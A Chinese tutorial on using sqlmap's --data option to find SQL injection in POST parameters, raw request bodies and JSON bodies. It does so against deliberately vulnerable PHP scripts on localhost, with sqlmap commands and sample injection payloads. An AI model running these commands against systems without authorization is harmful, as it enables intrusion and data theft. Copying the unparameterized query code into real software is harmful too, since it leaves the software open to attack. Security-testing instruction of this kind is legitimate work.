sqlmap可以针对请求进行GET和POST构造,在对于POST构造时,主要使用的参数是--data。

针对不同post数据时,我们在使用sqlmap时需要注意一些技巧。

所举例子,服务器端全部采用php语言,采用pdo简单连接mysql,所有例子均可以产生sql注入。

  • post常规参数
  • php直接获取POST参数id的数据,进行sql查询,代码如下。

    <?php
    $id = $_POST['id'];
    $pdo = new PDO("mysql:host=localhost;dbname=db","root","");
    $rs = $pdo -> query("SELECT * from sqltest WHERE id=$id");
    print_r($rs -> fetch());

    正常请求:
    curl 'http://localhost/sqltest.php' -d 'id=1'

    此时sqlmap注入命令非常简单,只需要增加--data参数即可:
    ./sqlmap.py -u 'http://localhost/sqltest.php' --data="id=1"

  • post body数据
  • php获取POST数据,整个post data就是一个id,没有参数之分。

    <?php
    $id = @file_get_contents('php://input');
    $pdo = new PDO("mysql:host=localhost;dbname=db","root","");
    $rs = $pdo -> query("SELECT * from sqltest WHERE id=$id");
    print_r($rs -> fetch());

    正常请求:
    curl 'http://localhost/sqltest.php' -d '1'

    如果继续使用之前的--data命令:
    ./sqlmap.py -u 'http://localhost/sqltest.php' --data="1"

    会提示错误,找不到可注入参数:
    [19:44:39] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')

    这个时候,需要用到sqlmap的星号(*)功能,mysql会对*这个位置进行不同攻击语句尝试,命令如下:
    ./sqlmap.py -u 'http://localhost/sqltest.php' --data="*"

    但是,由于post数据是进行urlencode转义的,这样执行命令是找不到任何sql注入的,因为php获取到的id全部是这个样子的:
    %22%27%27%29%22%29%2C%27.%22
    %27rNyhQk%3C%27%22%3EooEVIZ
    %29%20AND%209882%3D7192%20AND%20%286634%3D6634
    %29%20AND%204081%3D4081%20AND%20%289304%3D9304
    %20AND%203492%3D7026
    %20AND%204081%3D4081

    这些语句拼接到数据库语句中,完全不能执行。

    正确的请求应该是加入一个或略url转义参数:
    ./sqlmap.py -u 'http://localhost/sqltest.php' --data="*" --skip-urlencode

    此时,就可以找到sql注入点了。

  • post json数据
  • php获取POST数据,整个post data是一个json,从json里面取key为id的值。

    <?php
    $data = @file_get_contents('php://input');
    $data = json_decode($data, true);
    $id = $data['id'];
    $pdo = new PDO("mysql:host=localhost;dbname=db","root","");
    $rs = $pdo -> query("SELECT * from sqltest WHERE id=$id");
    print_r($rs -> fetch());

    正常请求:
    curl 'http://localhost/sqltest.php' -d '{"id":"1"}'

    使用*和url不转义:
    ./sqlmap.py -u 'http://localhost/sqltest.php' --data='{"id":"*"}' --skip-urlencode
    这个命令是不好使的,因为sqlmap的原理是只要看到*,就会对这个字段进行构造,他构造的是整个data,而不是id的值。
    custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y

    实际攻击语句相当于是:
    -d '- AND 4844=6714'
    而我们期望的是:
    -d '{"id":"- AND 4844=6714"}'

    那么要怎么执行命令才能达到json的效果呢?

    这个时候,千万不要使用*,sqlmap是很智能的,它可以识别json、xml格式数据。所以,此时你只需要按照正常命令执行即可。
    ./sqlmap.py -u 'http://localhost/sqltest.php' --data='{"id":"1"}'

    sqlmap会提示你,这个data是个json,你只需要输入命令y即可:
    JSON data found in POST data. Do you want to process it? [Y/n/q]